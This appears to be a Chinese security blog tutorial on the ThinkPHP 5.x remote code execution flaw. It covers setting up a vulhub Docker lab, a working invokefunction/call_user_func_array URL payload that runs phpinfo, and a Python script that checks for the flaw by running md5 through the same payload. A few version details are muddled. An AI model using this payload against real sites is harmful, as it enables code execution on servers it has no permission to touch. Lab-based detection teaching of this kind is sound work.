Python武器库开发-武器库篇之Thinkphp5-5.0.22/5.1.29远程执行代码漏洞 (六十五)

Python武器库开发-武器库篇之Thinkphp5-5.0.22/5.1.29远程执行代码漏洞 (六十五)

漏洞环境搭建

这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装,我们进入 ThinkPHP漏洞环境,可以 cd ThinkPHP,然后通过 ls 查看可以搭建的靶场,目前 vulhub关于 ThinkPHP漏洞。可以搭建的靶场有五个。我们拿 5-rce 漏洞举例,如果我们想要安装 5-rce 漏洞环境,可以 cd 到 5-rce ,然后输入以下命令启动靶场环境:

python 复制代码
docker-compose up -d

然后我们在浏览器输入 https://localhost:8082 就可以访问靶场环境

Thinkphp5-5.0.22/5.1.29远程执行代码漏洞原理

ThinkPHP是一款流行的PHP开发框架,用于快速开发Web应用程序。在ThinkPHP 5.0.22和5.1.29版本中存在一个远程执行代码的漏洞,其中5.0.22版本中已经修复了这个漏洞。

该漏洞的原理是由于未正确过滤用户输入,导致攻击者可以构造恶意的请求,执行任意的PHP代码。具体来说,该漏洞涉及到ThinkPHP的路由函数中的一处代码处理逻辑,攻击者可以通过构造特定的URL请求,在路由函数中绕过正则表达式的限制,进而执行任意的PHP代码。

攻击者可以利用该漏洞来执行恶意的代码,例如删除、修改或者获取敏感数据,以及执行一些恶意操作,例如植入后门,上传恶意文件等。

Thinkphp5-5.0.22/5.1.29远程执行代码漏洞POC

接下来我们给出ThinkPHP 5.0.23-RCE漏洞的POC,代码内容如下:

python 复制代码
http://localhost:8082/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

Thinkphp5-5.0.22/5.1.29远程执行代码漏洞POC编写

现在我们用python编写检测Thinkphp5-5.0.22/5.1.29远程执行代码漏洞的代码,内容如下:

python 复制代码
#!/usr/bin/env python

import requests
from urllib.parse import urljoin

def thinkphp5x_rce(url):
    poc = r'''/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=handsomewuyue'''
    payload = urljoin(url,poc)
    response = requests.get(url=payload,verify=False)
    if '31664625b85cc0cf91406a4e028ede29' in response.text:
        print('漏洞存在')
    else:
        print('漏洞不存在')

if __name__ == '__main__':
    url = 'http://localhost:8082/'
    thinkphp5x_rce(url)

POC代码详细分析

以上代码是一个Python脚本,主要用于检测ThinkPHP 5.x版本中的一个远程代码执行(RCE)漏洞。下面对代码进行详细分析:

  1. #!/usr/bin/env python:指定脚本使用的解释器为Python。

  2. import requests:导入requests模块,用于发送HTTP请求。

  3. from urllib.parse import urljoin:导入urljoin函数,用于拼接URL。

  4. def thinkphp5x_rce(url)::定义一个名为thinkphp5x_rce的函数,接受一个参数url

  5. poc =r'''/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=handsomewuyue''':定义一个名为poc的变量,存储一个URL路径,该路径会触发ThinkPHP5.x版本中的RCE漏洞。

  6. payload = urljoin(url,poc):使用urljoin函数拼接urlpoc,生成完整的URL。

  7. response =requests.get(url=payload,verify=False):使用requests.get发送GET请求,传递生成的完整URL作为参数,并且关闭SSL验证。

  8. if '31664625b85cc0cf91406a4e028ede29' in response.text::检查response.text中是否包含特定的字符串31664625b85cc0cf91406a4e028ede29

  9. print('漏洞存在'):如果特定字符串存在,则输出"漏洞存在"。

  10. else::如果特定字符串不存在。

  11. print('漏洞不存在'):输出"漏洞不存在"。

  12. if __name__ == '__main__'::判断当前模块是否作为主程序运行。

  13. url = 'http://localhost:8082/':定义一个名为url的变量,存储目标URL地址。

  14. thinkphp5x_rce(url):调用thinkphp5x_rce函数,并传递url作为参数。

运行效果图

如下是我们这串代码的实际运行效果图:

相关推荐
winfredzhang8 分钟前
Python实战:Excel中文转拼音工具开发教程
python·安全·excel·汉字·pinyin·缩写
奔跑吧邓邓子10 分钟前
【Python爬虫(34)】Python多进程编程:开启高效并行世界的钥匙
开发语言·爬虫·python·多进程
Heris9937 分钟前
2.22 c++练习【operator运算符重载、封装消息队列、封装信号灯集】
开发语言·c++
----云烟----39 分钟前
C/C++ 中 volatile 关键字详解
c语言·开发语言·c++
yuanpan1 小时前
23种设计模式之《组合模式(Composite)》在c#中的应用及理解
开发语言·设计模式·c#·组合模式
wang_yb1 小时前
『Python底层原理』--Python属性的工作原理
python·databook
量化投资技术1 小时前
【量化策略】趋势跟踪策略
python·量化交易·量化·量化投资·qmt·miniqmt
BanLul1 小时前
进程与线程 (三)——线程间通信
c语言·开发语言·算法
十八朵郁金香1 小时前
【JavaScript】深入理解模块化
开发语言·javascript·ecmascript
Hello.Reader1 小时前
深入理解 Rust 的 `Rc<T>`:实现多所有权的智能指针
开发语言·后端·rust